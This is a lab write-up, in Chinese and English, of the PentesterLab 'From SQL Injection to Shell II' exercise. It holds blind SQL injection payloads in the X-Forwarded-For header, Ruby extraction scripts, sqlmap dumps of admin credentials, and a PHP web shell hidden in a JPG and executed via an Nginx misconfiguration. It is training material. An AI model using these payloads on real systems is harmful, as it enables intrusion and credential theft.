From SQL Injection to Shell II
Reference
- https://www.pentesterlab.com/exercises/from_sqli_to_shell_II/course
- https://nealpoole.com/blog/2011/04/setting-up-php-fastcgi-and-nginx-dont-trust-the-tutorials-check-your-configuration/
- https://f4l13n5n0w.github.io/blog/2015/05/12/pentesterlab-from-sql-to-shell-ii/
Writeup
Detection of SQL injection
- 在
X-Forwarded-For
header裡送出:hack' or sleep(1) and '1'='1
- 或
hack' or sleep(1) #
- 或
hack' or sleep(1) -- -
- 使用
curl
送payloadcurl -I http://10.0.2.152:80 -X HEAD -H 'X-Forwarded-For: hack'\'' or sleep(1) and '1'='1'
- 或
curl -I http://10.0.2.152:80 -X HEAD -H 'X-Forwarded-For: hack'\'' or sleep(1) #'
- 或
curl -I http://10.0.2.152:80 -X HEAD -H 'X-Forwarded-For: hack'\'' or sleep(1) -- -'
- 或使用
nc
送payloadecho -ne "HEAD / HTTP/1.0\r\nX-Forwarded-For: hacker' or sleep(1) and '1'='1\r\nConnection: close\r\n\r\n" | netcat 10.0.2.152 80
echo -ne "HEAD / HTTP/1.0\r\nX-Forwarded-For: hacker' or sleep(1) #\r\nConnection: close\r\n\r\n" | netcat 10.0.2.152 80
echo -ne "HEAD / HTTP/1.0\r\nX-Forwarded-For: hacker' or sleep(1) -- -\r\nConnection: close\r\n\r\n" | netcat 10.0.2.152 80
- 將
sleep()
參數設為0
和1
比較結果,發現設0
的會立即回應,設1
的等待一會才回應,因此可以確定有SQL Injection。
- Using
Connection: close
tells the server to close the connection after processing our request. This will ensure that the command returns immediatly.- sqlmap預設不會對
X-Forwarded-For
header進行測試
Exploitation of Blind SQL injection
- Manual猜版本: 5.1.66
hacker' or if(substring(@@version,1,1)='5', sleep(0.5), 0) # hacker' or if(substring(@@version,2,1)='.', sleep(0.5), 0) # hacker' or if(substring(@@version,3,1)='1', sleep(0.5), 0) # hacker' or if(substring(@@version,4,1)='.', sleep(0.5), 0) # hacker' or if(substring(@@version,5,1)='6', sleep(0.5), 0) # hacker' or if(substring(@@version,6,1)='6', sleep(0.5), 0) #
SUBSTRING(string, position, length)
猜目前使用者: pentesterlab@localhost
- Manual
hacker' or if((select ascii(substring((select user()),1,1))&1),sleep(0.5),0) and '1'='1 hacker' or if((select ascii(substring((select user()),1,1))&2),sleep(0.5),0) and '1'='1 hacker' or if((select ascii(substring((select user()),1,1))&4),sleep(0.5),0) and '1'='1 ... hacker' or if((select ascii(substring((select user()),1,1))&64),sleep(0.5),0) and '1'='1 hacker' or if((select ascii(substring((select user()),2,1))&1),sleep(0.5),0) and '1'='1 hacker' or if((select ascii(substring((select user()),2,1))&2),sleep(0.5),0) and '1'='1 ... hacker' or if((select ascii(substring((select user()),2,1))&64),sleep(0.5),0) and '1'='1 hacker' or if((select ascii(substring((select user()),3,1))&1),sleep(0.5),0) and '1'='1 ... hacker' or if((select ascii(substring((select user()),23,1))&64),sleep(0.5),0) and '1'='1
Ruby
require 'socket' inj = "select user()" str = "" def test(sql) p = "hacker' or if((#{sql}),sleep(0.5),0) and '1'='1" t = Time.now begin s = TCPSocket.new("10.0.2.152",80) s.write("GET / HTTP/1.1\r\nHost: 10.0.2.152\r\nX-Forwarded-For: #{p}\r\nConnection: close\r\n\r\n") s.readlines() s.close rescue Errno::ECONNRESET, EOFError end return ((Time.now-t)>0.5) end # dummy initialisation for the while loop # we loop until the returned value is null value = 1 i = 0 while value != 0 # i is the position in the string i+=1 # initialise to 0 the value we are trying to retrieve value = 0 # for each bit 0.upto(6) do |bit| # 2**bit is 2^bit and will do all the bit masking work sql = "select ascii(substring((#{inj}),#{i},1))&#{2**bit}" if test(sql) # if the returned value is true # we add the mask to the current_value value+=2**bit end end # value is an ascii value, we get the corresponding character # using the `.chr` ruby function str+= value.chr puts str end
p pe pen pent pente ... pentesterlab@localho pentesterlab@localhos pentesterlab@localhost pentesterlab@localhost
- Manual
- 猜table或column (需使用Dump multiple rows的code)
- 猜table:
SELECT table_name FROM information_schema.tables WHERE table_schema != 'information_schema'
- 猜column:
SELECT column_name FROM information_schema.columns WHERE table_schema != 'information_schema'
- 從table name找column:
SELECT column_name FROM information_schema.columns WHERE table_name = 'stats'
- 從column name找table:
SELECT table_name FROM information_schema.columns WHERE column_name = 'ip' AND table_schema != 'information_schema'
- 最後得到的table column對應表
- 猜table:
Table | Column |
---|---|
categories | id, title |
pictures | id, title, img, cat |
stats | ip, count |
users | id, login |
Dump multiple rows
require 'socket' inj = "SELECT table_name FROM information_schema.tables WHERE table_schema != 'information_schema' " str = "" def test(sql) p = "hacker' or if((#{sql}),sleep(0.5),0) and '1'='1" t = Time.now begin s = TCPSocket.new("10.0.2.152",80) s.write("GET / HTTP/1.1\r\nHost: 10.0.2.152\r\nX-Forwarded-For: #{p}\r\nConnection: close\r\n\r\n") s.readlines() s.close rescue Errno::ECONNRESET, EOFError end return ((Time.now-t)>0.5) end # dummy initialisation for the while loop # we loop until the returned value is null index = 0 while index < 10 newinj = inj + " limit #{index},1" i = 0 str ="" value = 1 while value != 0 i+=1 value = 0 0.upto(6) do |bit| # using the new variable sql = "select ascii(substring((#{newinj}),#{i},1))&#{2**bit}" if test(sql) # if the returned value is true # we add the mask to the current_value value+=2**bit end end str+= value.chr puts str end index += 1 end
- 最後從users table抓出帳密
SELECT CONCAT(login,':',password) FROM users "
admin:8efe310f9ab3efeae8d410a8e0166eb2
Exploitation with SQLMap
- 對
X-Forwarded-For
進行注入- 挖banner:
sqlmap -u "http://10.0.2.152/" --headers="X-Forwarded-For: *" --banner
5.1.66-0+squeeze1 web application technology: PHP 5.3.3, Nginx back-end DBMS: MySQL >= 5.0.12 banner: '5.1.66-0+squeeze1'
- 挖databases:
sqlmap -u "http://10.0.2.152/" --headers="X-Forwarded-For: *" --dbs
available databases [2]: [*] information_schema [*] photoblog
- 挖photoblog資料庫的tables:
sqlmap -u "http://10.0.2.152/" --headers="X-Forwarded-For: *" -D photoblog --tables
Database: photoblog [4 tables] +------------+ | categories | | pictures | | stats | | users | +------------+
- 挖users table的columns:
sqlmap -u "http://10.0.2.152/" --headers="X-Forwarded-For: *" -D photoblog -T users --columns
Database: photoblog Table: users [3 columns] +----------+--------------+ | Column | Type | +----------+--------------+ | id | mediumint(9) | | login | varchar(50) | | password | varchar(50) | +----------+--------------+
- dump使用者帳密:
sqlmap -u "http://10.0.2.152/" --headers="X-Forwarded-For: *" -D photoblog -T users --dump --batch
Database: photoblog Table: users [1 entry] +----+-------+---------------------------------------------+ | id | login | password | +----+-------+---------------------------------------------+ | 1 | admin | 8efe310f9ab3efeae8d410a8e0166eb2 (P4ssw0rd) | +----+-------+---------------------------------------------+
- 挖banner:
- Using the option
--batch
will tell SQLMap to use the default behaviour and to avoid asking for user input.- You can also use
--dump-all
if you just want to get all the database content (may be really slow).- You can also use
--exclude-sysdbs
to avoid dumping the system databases/tables and only retrieve the ones not present by default.
Access to the administration pages and code execution
- 建立single-line php shell:
shell.php
<?php system($_GET['c']); ?>
- 利用
exiftool
將shell.php
加到圖片裡(建議圖片size越小越好,本例子為7K,太大會失敗)exiftool "-comment<=shell.php" 1124811886_q.jpg
root@kali:~/Pictures# exiftool 1124811886_q.jpg ExifTool Version Number : 10.28 File Name : 1124811886_q.jpg Directory : . File Size : 7.0 kB ... Comment : <?php system($_GET['c']); ?>.
This exercise can also be solved by adding the malicious payload at the end of a JPG file.
- 上傳圖片,最後圖片連結為
http://10.0.2.152/admin/uploads/1478198907.jpg
- 利用Nginx/PHP不當設定的漏洞https://nealpoole.com/blog/2011/04/setting-up-php-fastcgi-and-nginx-dont-trust-the-tutorials-check-your-configuration/ ,在惡意圖片連結後面加上
/somefilename.php?
,即可任意執行commands - 執行system commands:
http://10.0.2.152/admin/uploads/1478198907.jpg/c.php?c=uname%20-a
Linux debian 2.6.32-5-686 #1 SMP Fri May 10 08:33:48 UTC 2013 i686 GNU/Linux
http://10.0.2.152/admin/uploads/1478198907.jpg/c.php?c=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)